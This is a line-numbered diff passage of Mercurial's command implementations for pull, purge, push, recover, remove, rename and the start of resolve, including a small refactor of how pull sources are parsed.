5351 5354 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5352 5355 helpbasic=True,
5353 5356 )
5354 5357 def pull(ui, repo, *sources, **opts):
5355 5358 """pull changes from the specified source
5356 5359
5357 5360 Pull changes from a remote repository to a local one.
5358 5361
5359 5362 This finds all changes from the repository at the specified path
5360 5363 or URL and adds them to a local repository (the current one unless
5361 5364 -R is specified). By default, this does not update the copy of the
5362 5365 project in the working directory.
5363 5366
5364 5367 When cloning from servers that support it, Mercurial may fetch
5365 5368 pre-generated data. When this is done, hooks operating on incoming
5366 5369 changesets and changegroups may fire more than once, once for each
5367 5370 pre-generated bundle and as well as for any additional remaining
5368 5371 data. See :hg:`help -e clonebundles` for more.
5369 5372
5370 5373 Use :hg:`incoming` if you want to see what would have been added
5371 5374 by a pull at the time you issued this command. If you then decide
5372 5375 to add those changes to the repository, you should use :hg:`pull
5373 5376 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5374 5377
5375 5378 If SOURCE is omitted, the 'default' path will be used.
5376 5379 See :hg:`help urls` for more information.
5377 5380
5378 5381 If multiple sources are specified, they will be pulled sequentially as if
5379 5382 the command was run multiple time. If --update is specify and the command
5380 5383 will stop at the first failed --update.
5381 5384
5382 5385 Specifying bookmark as ``.`` is equivalent to specifying the active
5383 5386 bookmark's name.
5384 5387
5385 5388 Returns 0 on success, 1 if an update had unresolved files.
5386 5389 """
5387 5390
5388 5391 opts = pycompat.byteskwargs(opts)
5389 5392 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5390 5393 b'update'
5391 5394 ):
5392 5395 msg = _(b'update destination required by configuration')
5393 5396 hint = _(b'use hg pull followed by hg update DEST')
5394 5397 raise error.InputError(msg, hint=hint)
5395 5398
5396 sources = urlutil.get_pull_paths(repo, ui, sources, opts.get(b'branch'))
5397 for source, branches in sources:
5399 for path in urlutil.get_pull_paths(repo, ui, sources):
5400 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
5398 5401 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5399 5402 ui.flush()
5400 5403 other = hg.peer(repo, opts, source)
5401 5404 update_conflict = None
5402 5405 try:
5403 5406 revs, checkout = hg.addbranchrevs(
5404 5407 repo, other, branches, opts.get(b'rev')
5405 5408 )
5406 5409
5407 5410 pullopargs = {}
5408 5411
5409 5412 nodes = None
5410 5413 if opts.get(b'bookmark') or revs:
5411 5414 # The list of bookmark used here is the same used to actually update
5412 5415 # the bookmark names, to avoid the race from issue 4689 and we do
5413 5416 # all lookup and bookmark queries in one go so they see the same
5414 5417 # version of the server state (issue 4700).
5415 5418 nodes = []
5416 5419 fnodes = []
5417 5420 revs = revs or []
5418 5421 if revs and not other.capable(b'lookup'):
5419 5422 err = _(
5420 5423 b"other repository doesn't support revision lookup, "
5421 5424 b"so a rev cannot be specified."
5422 5425 )
5423 5426 raise error.Abort(err)
5424 5427 with other.commandexecutor() as e:
5425 5428 fremotebookmarks = e.callcommand(
5426 5429 b'listkeys', {b'namespace': b'bookmarks'}
5427 5430 )
5428 5431 for r in revs:
5429 5432 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5430 5433 remotebookmarks = fremotebookmarks.result()
5431 5434 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5432 5435 pullopargs[b'remotebookmarks'] = remotebookmarks
5433 5436 for b in opts.get(b'bookmark', []):
5434 5437 b = repo._bookmarks.expandname(b)
5435 5438 if b not in remotebookmarks:
5436 5439 raise error.InputError(
5437 5440 _(b'remote bookmark %s not found!') % b
5438 5441 )
5439 5442 nodes.append(remotebookmarks[b])
5440 5443 for i, rev in enumerate(revs):
5441 5444 node = fnodes[i].result()
5442 5445 nodes.append(node)
5443 5446 if rev == checkout:
5444 5447 checkout = node
5445 5448
5446 5449 wlock = util.nullcontextmanager()
5447 5450 if opts.get(b'update'):
5448 5451 wlock = repo.wlock()
5449 5452 with wlock:
5450 5453 pullopargs.update(opts.get(b'opargs', {}))
5451 5454 modheads = exchange.pull(
5452 5455 repo,
5453 5456 other,
5454 5457 heads=nodes,
5455 5458 force=opts.get(b'force'),
5456 5459 bookmarks=opts.get(b'bookmark', ()),
5457 5460 opargs=pullopargs,
5458 5461 confirm=opts.get(b'confirm'),
5459 5462 ).cgresult
5460 5463
5461 5464 # brev is a name, which might be a bookmark to be activated at
5462 5465 # the end of the update. In other words, it is an explicit
5463 5466 # destination of the update
5464 5467 brev = None
5465 5468
5466 5469 if checkout:
5467 5470 checkout = repo.unfiltered().changelog.rev(checkout)
5468 5471
5469 5472 # order below depends on implementation of
5470 5473 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5471 5474 # because 'checkout' is determined without it.
5472 5475 if opts.get(b'rev'):
5473 5476 brev = opts[b'rev'][0]
5474 5477 elif opts.get(b'branch'):
5475 5478 brev = opts[b'branch'][0]
5476 5479 else:
5477 5480 brev = branches[0]
5478 5481 repo._subtoppath = source
5479 5482 try:
5480 5483 update_conflict = postincoming(
5481 5484 ui, repo, modheads, opts.get(b'update'), checkout, brev
5482 5485 )
5483 5486 except error.FilteredRepoLookupError as exc:
5484 5487 msg = _(b'cannot update to target: %s') % exc.args[0]
5485 5488 exc.args = (msg,) + exc.args[1:]
5486 5489 raise
5487 5490 finally:
5488 5491 del repo._subtoppath
5489 5492
5490 5493 finally:
5491 5494 other.close()
5492 5495 # skip the remaining pull source if they are some conflict.
5493 5496 if update_conflict:
5494 5497 break
5495 5498 if update_conflict:
5496 5499 return 1
5497 5500 else:
5498 5501 return 0
5499 5502
5500 5503
5501 5504 @command(
5502 5505 b'purge|clean',
5503 5506 [
5504 5507 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5505 5508 (b'', b'all', None, _(b'purge ignored files too')),
5506 5509 (b'i', b'ignored', None, _(b'purge only ignored files')),
5507 5510 (b'', b'dirs', None, _(b'purge empty directories')),
5508 5511 (b'', b'files', None, _(b'purge files')),
5509 5512 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5510 5513 (
5511 5514 b'0',
5512 5515 b'print0',
5513 5516 None,
5514 5517 _(
5515 5518 b'end filenames with NUL, for use with xargs'
5516 5519 b' (implies -p/--print)'
5517 5520 ),
5518 5521 ),
5519 5522 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5520 5523 ]
5521 5524 + cmdutil.walkopts,
5522 5525 _(b'hg purge [OPTION]... [DIR]...'),
5523 5526 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5524 5527 )
5525 5528 def purge(ui, repo, *dirs, **opts):
5526 5529 """removes files not tracked by Mercurial
5527 5530
5528 5531 Delete files not known to Mercurial. This is useful to test local
5529 5532 and uncommitted changes in an otherwise-clean source tree.
5530 5533
5531 5534 This means that purge will delete the following by default:
5532 5535
5533 5536 - Unknown files: files marked with "?" by :hg:`status`
5534 5537 - Empty directories: in fact Mercurial ignores directories unless
5535 5538 they contain files under source control management
5536 5539
5537 5540 But it will leave untouched:
5538 5541
5539 5542 - Modified and unmodified tracked files
5540 5543 - Ignored files (unless -i or --all is specified)
5541 5544 - New files added to the repository (with :hg:`add`)
5542 5545
5543 5546 The --files and --dirs options can be used to direct purge to delete
5544 5547 only files, only directories, or both. If neither option is given,
5545 5548 both will be deleted.
5546 5549
5547 5550 If directories are given on the command line, only files in these
5548 5551 directories are considered.
5549 5552
5550 5553 Be careful with purge, as you could irreversibly delete some files
5551 5554 you forgot to add to the repository. If you only want to print the
5552 5555 list of files that this program would delete, use the --print
5553 5556 option.
5554 5557 """
5555 5558 opts = pycompat.byteskwargs(opts)
5556 5559 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5557 5560
5558 5561 act = not opts.get(b'print')
5559 5562 eol = b'\n'
5560 5563 if opts.get(b'print0'):
5561 5564 eol = b'\0'
5562 5565 act = False # --print0 implies --print
5563 5566 if opts.get(b'all', False):
5564 5567 ignored = True
5565 5568 unknown = True
5566 5569 else:
5567 5570 ignored = opts.get(b'ignored', False)
5568 5571 unknown = not ignored
5569 5572
5570 5573 removefiles = opts.get(b'files')
5571 5574 removedirs = opts.get(b'dirs')
5572 5575 confirm = opts.get(b'confirm')
5573 5576 if confirm is None:
5574 5577 try:
5575 5578 extensions.find(b'purge')
5576 5579 confirm = False
5577 5580 except KeyError:
5578 5581 confirm = True
5579 5582
5580 5583 if not removefiles and not removedirs:
5581 5584 removefiles = True
5582 5585 removedirs = True
5583 5586
5584 5587 match = scmutil.match(repo[None], dirs, opts)
5585 5588
5586 5589 paths = mergemod.purge(
5587 5590 repo,
5588 5591 match,
5589 5592 unknown=unknown,
5590 5593 ignored=ignored,
5591 5594 removeemptydirs=removedirs,
5592 5595 removefiles=removefiles,
5593 5596 abortonerror=opts.get(b'abort_on_err'),
5594 5597 noop=not act,
5595 5598 confirm=confirm,
5596 5599 )
5597 5600
5598 5601 for path in paths:
5599 5602 if not act:
5600 5603 ui.write(b'%s%s' % (path, eol))
5601 5604
5602 5605
5603 5606 @command(
5604 5607 b'push',
5605 5608 [
5606 5609 (b'f', b'force', None, _(b'force push')),
5607 5610 (
5608 5611 b'r',
5609 5612 b'rev',
5610 5613 [],
5611 5614 _(b'a changeset intended to be included in the destination'),
5612 5615 _(b'REV'),
5613 5616 ),
5614 5617 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5615 5618 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5616 5619 (
5617 5620 b'b',
5618 5621 b'branch',
5619 5622 [],
5620 5623 _(b'a specific branch you would like to push'),
5621 5624 _(b'BRANCH'),
5622 5625 ),
5623 5626 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5624 5627 (
5625 5628 b'',
5626 5629 b'pushvars',
5627 5630 [],
5628 5631 _(b'variables that can be sent to server (ADVANCED)'),
5629 5632 ),
5630 5633 (
5631 5634 b'',
5632 5635 b'publish',
5633 5636 False,
5634 5637 _(b'push the changeset as public (EXPERIMENTAL)'),
5635 5638 ),
5636 5639 ]
5637 5640 + remoteopts,
5638 5641 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5639 5642 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5640 5643 helpbasic=True,
5641 5644 )
5642 5645 def push(ui, repo, *dests, **opts):
5643 5646 """push changes to the specified destination
5644 5647
5645 5648 Push changesets from the local repository to the specified
5646 5649 destination.
5647 5650
5648 5651 This operation is symmetrical to pull: it is identical to a pull
5649 5652 in the destination repository from the current one.
5650 5653
5651 5654 By default, push will not allow creation of new heads at the
5652 5655 destination, since multiple heads would make it unclear which head
5653 5656 to use. In this situation, it is recommended to pull and merge
5654 5657 before pushing.
5655 5658
5656 5659 Use --new-branch if you want to allow push to create a new named
5657 5660 branch that is not present at the destination. This allows you to
5658 5661 only create a new branch without forcing other changes.
5659 5662
5660 5663 .. note::
5661 5664
5662 5665 Extra care should be taken with the -f/--force option,
5663 5666 which will push all new heads on all branches, an action which will
5664 5667 almost always cause confusion for collaborators.
5665 5668
5666 5669 If -r/--rev is used, the specified revision and all its ancestors
5667 5670 will be pushed to the remote repository.
5668 5671
5669 5672 If -B/--bookmark is used, the specified bookmarked revision, its
5670 5673 ancestors, and the bookmark will be pushed to the remote
5671 5674 repository. Specifying ``.`` is equivalent to specifying the active
5672 5675 bookmark's name. Use the --all-bookmarks option for pushing all
5673 5676 current bookmarks.
5674 5677
5675 5678 Please see :hg:`help urls` for important details about ``ssh://``
5676 5679 URLs. If DESTINATION is omitted, a default path will be used.
5677 5680
5678 5681 When passed multiple destinations, push will process them one after the
5679 5682 other, but stop should an error occur.
5680 5683
5681 5684 .. container:: verbose
5682 5685
5683 5686 The --pushvars option sends strings to the server that become
5684 5687 environment variables prepended with ``HG_USERVAR_``. For example,
5685 5688 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5686 5689 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5687 5690
5688 5691 pushvars can provide for user-overridable hooks as well as set debug
5689 5692 levels. One example is having a hook that blocks commits containing
5690 5693 conflict markers, but enables the user to override the hook if the file
5691 5694 is using conflict markers for testing purposes or the file format has
5692 5695 strings that look like conflict markers.
5693 5696
5694 5697 By default, servers will ignore `--pushvars`. To enable it add the
5695 5698 following to your configuration file::
5696 5699
5697 5700 [push]
5698 5701 pushvars.server = true
5699 5702
5700 5703 Returns 0 if push was successful, 1 if nothing to push.
5701 5704 """
5702 5705
5703 5706 opts = pycompat.byteskwargs(opts)
5704 5707
5705 5708 if opts.get(b'all_bookmarks'):
5706 5709 cmdutil.check_incompatible_arguments(
5707 5710 opts,
5708 5711 b'all_bookmarks',
5709 5712 [b'bookmark', b'rev'],
5710 5713 )
5711 5714 opts[b'bookmark'] = list(repo._bookmarks)
5712 5715
5713 5716 if opts.get(b'bookmark'):
5714 5717 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5715 5718 for b in opts[b'bookmark']:
5716 5719 # translate -B options to -r so changesets get pushed
5717 5720 b = repo._bookmarks.expandname(b)
5718 5721 if b in repo._bookmarks:
5719 5722 opts.setdefault(b'rev', []).append(b)
5720 5723 else:
5721 5724 # if we try to push a deleted bookmark, translate it to null
5722 5725 # this lets simultaneous -r, -b options continue working
5723 5726 opts.setdefault(b'rev', []).append(b"null")
5724 5727
5725 5728 some_pushed = False
5726 5729 result = 0
5727 5730 for path in urlutil.get_push_paths(repo, ui, dests):
5728 5731 dest = path.pushloc or path.loc
5729 5732 branches = (path.branch, opts.get(b'branch') or [])
5730 5733 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5731 5734 revs, checkout = hg.addbranchrevs(
5732 5735 repo, repo, branches, opts.get(b'rev')
5733 5736 )
5734 5737 other = hg.peer(repo, opts, dest)
5735 5738
5736 5739 try:
5737 5740 if revs:
5738 5741 revs = [repo[r].node() for r in logcmdutil.revrange(repo, revs)]
5739 5742 if not revs:
5740 5743 raise error.InputError(
5741 5744 _(b"specified revisions evaluate to an empty set"),
5742 5745 hint=_(b"use different revision arguments"),
5743 5746 )
5744 5747 elif path.pushrev:
5745 5748 # It doesn't make any sense to specify ancestor revisions. So limit
5746 5749 # to DAG heads to make discovery simpler.
5747 5750 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5748 5751 revs = scmutil.revrange(repo, [expr])
5749 5752 revs = [repo[rev].node() for rev in revs]
5750 5753 if not revs:
5751 5754 raise error.InputError(
5752 5755 _(
5753 5756 b'default push revset for path evaluates to an empty set'
5754 5757 )
5755 5758 )
5756 5759 elif ui.configbool(b'commands', b'push.require-revs'):
5757 5760 raise error.InputError(
5758 5761 _(b'no revisions specified to push'),
5759 5762 hint=_(b'did you mean "hg push -r ."?'),
5760 5763 )
5761 5764
5762 5765 repo._subtoppath = dest
5763 5766 try:
5764 5767 # push subrepos depth-first for coherent ordering
5765 5768 c = repo[b'.']
5766 5769 subs = c.substate # only repos that are committed
5767 5770 for s in sorted(subs):
5768 5771 sub_result = c.sub(s).push(opts)
5769 5772 if sub_result == 0:
5770 5773 return 1
5771 5774 finally:
5772 5775 del repo._subtoppath
5773 5776
5774 5777 opargs = dict(
5775 5778 opts.get(b'opargs', {})
5776 5779 ) # copy opargs since we may mutate it
5777 5780 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5778 5781
5779 5782 pushop = exchange.push(
5780 5783 repo,
5781 5784 other,
5782 5785 opts.get(b'force'),
5783 5786 revs=revs,
5784 5787 newbranch=opts.get(b'new_branch'),
5785 5788 bookmarks=opts.get(b'bookmark', ()),
5786 5789 publish=opts.get(b'publish'),
5787 5790 opargs=opargs,
5788 5791 )
5789 5792
5790 5793 if pushop.cgresult == 0:
5791 5794 result = 1
5792 5795 elif pushop.cgresult is not None:
5793 5796 some_pushed = True
5794 5797
5795 5798 if pushop.bkresult is not None:
5796 5799 if pushop.bkresult == 2:
5797 5800 result = 2
5798 5801 elif not result and pushop.bkresult:
5799 5802 result = 2
5800 5803
5801 5804 if result:
5802 5805 break
5803 5806
5804 5807 finally:
5805 5808 other.close()
5806 5809 if result == 0 and not some_pushed:
5807 5810 result = 1
5808 5811 return result
5809 5812
5810 5813
5811 5814 @command(
5812 5815 b'recover',
5813 5816 [
5814 5817 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5815 5818 ],
5816 5819 helpcategory=command.CATEGORY_MAINTENANCE,
5817 5820 )
5818 5821 def recover(ui, repo, **opts):
5819 5822 """roll back an interrupted transaction
5820 5823
5821 5824 Recover from an interrupted commit or pull.
5822 5825
5823 5826 This command tries to fix the repository status after an
5824 5827 interrupted operation. It should only be necessary when Mercurial
5825 5828 suggests it.
5826 5829
5827 5830 Returns 0 if successful, 1 if nothing to recover or verify fails.
5828 5831 """
5829 5832 ret = repo.recover()
5830 5833 if ret:
5831 5834 if opts['verify']:
5832 5835 return hg.verify(repo)
5833 5836 else:
5834 5837 msg = _(
5835 5838 b"(verify step skipped, run `hg verify` to check your "
5836 5839 b"repository content)\n"
5837 5840 )
5838 5841 ui.warn(msg)
5839 5842 return 0
5840 5843 return 1
5841 5844
5842 5845
5843 5846 @command(
5844 5847 b'remove|rm',
5845 5848 [
5846 5849 (b'A', b'after', None, _(b'record delete for missing files')),
5847 5850 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5848 5851 ]
5849 5852 + subrepoopts
5850 5853 + walkopts
5851 5854 + dryrunopts,
5852 5855 _(b'[OPTION]... FILE...'),
5853 5856 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5854 5857 helpbasic=True,
5855 5858 inferrepo=True,
5856 5859 )
5857 5860 def remove(ui, repo, *pats, **opts):
5858 5861 """remove the specified files on the next commit
5859 5862
5860 5863 Schedule the indicated files for removal from the current branch.
5861 5864
5862 5865 This command schedules the files to be removed at the next commit.
5863 5866 To undo a remove before that, see :hg:`revert`. To undo added
5864 5867 files, see :hg:`forget`.
5865 5868
5866 5869 .. container:: verbose
5867 5870
5868 5871 -A/--after can be used to remove only files that have already
5869 5872 been deleted, -f/--force can be used to force deletion, and -Af
5870 5873 can be used to remove files from the next revision without
5871 5874 deleting them from the working directory.
5872 5875
5873 5876 The following table details the behavior of remove for different
5874 5877 file states (columns) and option combinations (rows). The file
5875 5878 states are Added [A], Clean [C], Modified [M] and Missing [!]
5876 5879 (as reported by :hg:`status`). The actions are Warn, Remove
5877 5880 (from branch) and Delete (from disk):
5878 5881
5879 5882 ========= == == == ==
5880 5883 opt/state A C M !
5881 5884 ========= == == == ==
5882 5885 none W RD W R
5883 5886 -f R RD RD R
5884 5887 -A W W W R
5885 5888 -Af R R R R
5886 5889 ========= == == == ==
5887 5890
5888 5891 .. note::
5889 5892
5890 5893 :hg:`remove` never deletes files in Added [A] state from the
5891 5894 working directory, not even if ``--force`` is specified.
5892 5895
5893 5896 Returns 0 on success, 1 if any warnings encountered.
5894 5897 """
5895 5898
5896 5899 opts = pycompat.byteskwargs(opts)
5897 5900 after, force = opts.get(b'after'), opts.get(b'force')
5898 5901 dryrun = opts.get(b'dry_run')
5899 5902 if not pats and not after:
5900 5903 raise error.InputError(_(b'no files specified'))
5901 5904
5902 5905 m = scmutil.match(repo[None], pats, opts)
5903 5906 subrepos = opts.get(b'subrepos')
5904 5907 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
5905 5908 return cmdutil.remove(
5906 5909 ui, repo, m, b"", uipathfn, after, force, subrepos, dryrun=dryrun
5907 5910 )
5908 5911
5909 5912
5910 5913 @command(
5911 5914 b'rename|move|mv',
5912 5915 [
5913 5916 (b'', b'forget', None, _(b'unmark a destination file as renamed')),
5914 5917 (b'A', b'after', None, _(b'record a rename that has already occurred')),
5915 5918 (
5916 5919 b'',
5917 5920 b'at-rev',
5918 5921 b'',
5919 5922 _(b'(un)mark renames in the given revision (EXPERIMENTAL)'),
5920 5923 _(b'REV'),
5921 5924 ),
5922 5925 (
5923 5926 b'f',
5924 5927 b'force',
5925 5928 None,
5926 5929 _(b'forcibly move over an existing managed file'),
5927 5930 ),
5928 5931 ]
5929 5932 + walkopts
5930 5933 + dryrunopts,
5931 5934 _(b'[OPTION]... SOURCE... DEST'),
5932 5935 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5933 5936 )
5934 5937 def rename(ui, repo, *pats, **opts):
5935 5938 """rename files; equivalent of copy + remove
5936 5939
5937 5940 Mark dest as copies of sources; mark sources for deletion. If dest
5938 5941 is a directory, copies are put in that directory. If dest is a
5939 5942 file, there can only be one source.
5940 5943
5941 5944 By default, this command copies the contents of files as they
5942 5945 exist in the working directory. If invoked with -A/--after, the
5943 5946 operation is recorded, but no copying is performed.
5944 5947
5945 5948 To undo marking a destination file as renamed, use --forget. With that
5946 5949 option, all given (positional) arguments are unmarked as renames. The
5947 5950 destination file(s) will be left in place (still tracked). The source
5948 5951 file(s) will not be restored. Note that :hg:`rename --forget` behaves
5949 5952 the same way as :hg:`copy --forget`.
5950 5953
5951 5954 This command takes effect with the next commit by default.
5952 5955
5953 5956 Returns 0 on success, 1 if errors are encountered.
5954 5957 """
5955 5958 opts = pycompat.byteskwargs(opts)
5956 5959 with repo.wlock():
5957 5960 return cmdutil.copy(ui, repo, pats, opts, rename=True)
5958 5961
5959 5962
5960 5963 @command(
5961 5964 b'resolve',
5962 5965 [
5963 5966 (b'a', b'all', None, _(b'select all unresolved files')),
5964 5967 (b'l', b'list', None, _(b'list state of files needing merge')),
5965 5968 (b'm', b'mark', None, _(b'mark files as resolved')),
5966 5969 (b'u', b'unmark', None, _(b'mark files as unresolved')),
5967 5970 (b'n', b'no-status', None, _(b'hide status prefix')),
5968 5971 (b'', b're-merge', None, _(b're-merge files')),
5969 5972 ]
5970 5973 + mergetoolopts
5971 5974 + walkopts
5972 5975 + formatteropts,
5973 5976 _(b'[OPTION]... [FILE]...'),
5974 5977 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5975 5978 inferrepo=True,
5976 5979 )
5977 5980 def resolve(ui, repo, *pats, **opts):
5978 5981 """redo merges or set/view the merge status of files
5979 5982
5980 5983 Merges with unresolved conflicts are often the result of
5981 5984 non-interactive merging using the ``internal:merge`` configuration
5982 5985 setting, or a command-line merge tool like ``diff3``. The resolve
5983 5986 command is used to manage the files involved in a merge, after
5984 5987 :hg:`merge` has been run, and before :hg:`commit` is run (i.e. the
5985 5988 working directory must have two parents). See :hg:`help
5986 5989 merge-tools` for information on configuring merge tools.
5987 5990
5988 5991 The resolve command can be used in the following ways:
5989 5992
5990 5993 - :hg:`resolve [--re-merge] [--tool TOOL] FILE...`: attempt to re-merge
5991 5994 the specified files, discarding any previous merge attempts. Re-merging
5992 5995 is not performed for files already marked as resolved. Use ``--all/-a``
5993 5996 to select all unresolved files. ``--tool`` can be used to specify
5994 5997 the merge tool used for the given files. It overrides the HGMERGE
5995 5998 environment variable and your configuration files. Previous file
5996 5999 contents are saved with a ``.orig`` suffix.
5997 6000
5998 6001 - :hg:`resolve -m [FILE]`: mark a file as having been resolved
5999 6002 (e.g. after having manually fixed-up the files). The default is
6000 6003 to mark all unresolved files.
6001 6004
6002 6005 - :hg:`resolve -u [FILE]...`: mark a file as unresolved. The
6003 6006 default is to mark all resolved files.
6004 6007
6005 6008 - :hg:`resolve -l`: list files which had or still have conflicts.
6006 6009 In the printed list, ``U`` = unresolved and ``R`` = resolved.
6007 6010 You can use ``set:unresolved()`` or ``set:resolved()`` to filter
6008 6011 the list. See :hg:`help filesets` for details.
6009 6012
6010 6013 .. note::
6011 6014
6012 6015 Mercurial will not let you commit files with unresolved merge
6013 6016 conflicts. You must use :hg:`resolve -m ...` before you can
6014 6017 commit after a conflicting merge.
6015 6018
6016 6019 .. container:: verbose
6017 6020
6018 6021 Template:
6019 6022
6020 6023 The following keywords are supported in addition to the common template
6021 6024 keywords and functions. See also :hg:`help templates`.
6022 6025
6023 6026 :mergestatus: String. Character denoting merge conflicts, ``U`` or ``R``.
6024 6027 :path: String. Repository-absolute path of the file.
6025 6028
6026 6029 Returns 0 on success, 1 if any files fail a resolve attempt.
6027 6030 """
6028 6031
6029 6032 opts = pycompat.byteskwargs(opts)
6030 6033 confirm = ui.configbool(b'commands', b'resolve.confirm')
6031 6034 flaglist = b'all mark unmark list no_status re_merge'.split()
6032 6035 all, mark, unmark, show, nostatus, remerge = [opts.get(o) for o in flaglist]
6033 6036
6034 6037 actioncount = len(list(filter(None, [show, mark, unmark, remerge])))
6035 6038 if actioncount > 1:
6036 6039 raise error.InputError(_(b"too many actions specified"))
6037 6040 elif actioncount == 0 and ui.configbool(
6038 6041 b'commands', b'resolve.explicit-re-merge'
6039 6042 ):
6040 6043 hint = _(b'use --mark, --unmark, --list or --re-merge')
6041 6044 raise error.InputError(_(b'no action specified'), hint=hint)
6042 6045 if pats and all:
6043 6046 raise error.InputError(_(b"can't specify --all and patterns"))
6044 6047 if not (all or pats or show or mark or unmark):
6045 6048 raise error.InputError(
6046 6049 _(b'no files or directories specified'),
6047 6050 hint=b'use --all to re-merge all unresolved files',
6048 6051 )
6049 6052
6050 6053 if confirm:
6051 6054 if all:
6052 6055 if ui.promptchoice(
6053 6056 _(b're-merge all unresolved files (yn)?$$ &Yes $$ &No')
6054 6057 ):
6055 6058 raise error.CanceledError(_(b'user quit'))
6056 6059 if mark and not pats:
6057 6060 if ui.promptchoice(
6058 6061 _(
6059 6062 b'mark all unresolved files as resolved (yn)?'
6060 6063 b'$$ &Yes $$ &No'
6061 6064 )
6062 6065 ):
6063 6066 raise error.CanceledError(_(b'user quit'))
6064 6067 if unmark and not pats:
6065 6068 if ui.promptchoice(
6066 6069 _(
6067 6070 b'mark all resolved files as unresolved (yn)?'
6068 6071 b'$$ &Yes $$ &No'
6069 6072 )
6070 6073 ):
6071 6074 raise error.CanceledError(_(b'user quit'))
6072 6075
6073 6076 uipathfn = scmutil.getuipathfn(repo)
6074 6077
6075 6078 if show:
6076 6079 ui.pager(b'resolve')
6077 6080 fm = ui.formatter(b'resolve', opts)
6078 6081 ms = mergestatemod.mergestate.read(repo)
6079 6082 wctx = repo[None]
6080 6083 m = scmutil.match(wctx, pats, opts)
6081 6084
6082 6085 # Labels and keys based on merge state. Unresolved path conflicts show
6083 6086 # as 'P'. Resolved path conflicts show as 'R', the same as normal
6084 6087 # resolved conflicts.
6085 6088 mergestateinfo = {
6086 6089 mergestatemod.MERGE_RECORD_UNRESOLVED: (
6087 6090 b'resolve.unresolved',
6088 6091 b'U',
6089 6092 ),
6090 6093 mergestatemod.MERGE_RECORD_RESOLVED: (b'resolve.resolved', b'R'),
6091 6094 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH: (
6092 6095 b'resolve.unresolved',
6093 6096 b'P',
6094 6097 ),
6095 6098 mergestatemod.MERGE_RECORD_RESOLVED_PATH: (
6096 6099 b'resolve.resolved',
6097 6100 b'R',
6098 6101 ),
6099 6102 }
6100 6103
6101 6104 for f in ms:
6102 6105 if not m(f):
6103 6106 continue
6104 6107
6105 6108 label, key = mergestateinfo[ms[f]]
6106 6109 fm.startitem()
6107 6110 fm.context(ctx=wctx)
6108 6111 fm.condwrite(not nostatus, b'mergestatus', b'%s ', key, label=label)
6109 6112 fm.data(path=f)
6110 6113 fm.plain(b'%s\n' % uipathfn(f), label=label)
6111 6114 fm.end()
6112 6115 return 0
6113 6116
6114 6117 with repo.wlock():
6115 6118 ms = mergestatemod.mergestate.read(repo)
6116 6119
6117 6120 if not (ms.active() or repo.dirstate.p2() != repo.nullid):
6118 6121 raise error.StateError(
6119 6122 _(b'resolve command not applicable when not merging')
6120 6123 )
6121 6124
6122 6125 wctx = repo[None]
6123 6126 m = scmutil.match(wctx, pats, opts)
6124 6127 ret = 0
6125 6128 didwork = False
6126 6129
6127 6130 tocomplete = []
6128 6131 hasconflictmarkers = []
6129 6132 if mark:
6130 6133 markcheck = ui.config(b'commands', b'resolve.mark-check')
6131 6134 if markcheck not in [b'warn', b'abort']:
6132 6135 # Treat all invalid / unrecognized values as 'none'.
6133 6136 markcheck = False
6134 6137 for f in ms:
6135 6138 if not m(f):
6136 6139 continue
6137 6140
6138 6141 didwork = True
6139 6142
6140 6143 # path conflicts must be resolved manually
6141 6144 if ms[f] in (
6142 6145 mergestatemod.MERGE_RECORD_UNRESOLVED_PATH,
6143 6146 mergestatemod.MERGE_RECORD_RESOLVED_PATH,
6144 6147 ):
6145 6148 if mark:
6146 6149 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED_PATH)
6147 6150 elif unmark:
6148 6151 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED_PATH)
6149 6152 elif ms[f] == mergestatemod.MERGE_RECORD_UNRESOLVED_PATH:
6150 6153 ui.warn(
6151 6154 _(b'%s: path conflict must be resolved manually\n')
6152 6155 % uipathfn(f)
6153 6156 )
6154 6157 continue
6155 6158
6156 6159 if mark:
6157 6160 if markcheck:
6158 6161 fdata = repo.wvfs.tryread(f)
6159 6162 if (
6160 6163 filemerge.hasconflictmarkers(fdata)
6161 6164 and ms[f] != mergestatemod.MERGE_RECORD_RESOLVED
6162 6165 ):
6163 6166 hasconflictmarkers.append(f)
6164 6167 ms.mark(f, mergestatemod.MERGE_RECORD_RESOLVED)
6165 6168 elif unmark:
6166 6169 ms.mark(f, mergestatemod.MERGE_RECORD_UNRESOLVED)
6167 6170 else:
6168 6171 # backup pre-resolve (merge uses .orig for its own purposes)
6169 6172 a = repo.wjoin(f)
6170 6173 try:
6171 6174 util.copyfile(a, a + b".resolve")
6172 6175 except (IOError, OSError) as inst:
6173 6176 if inst.errno != errno.ENOENT:
6174 6177 raise
6175 6178
6176 6179 try:
6177 6180 # preresolve file
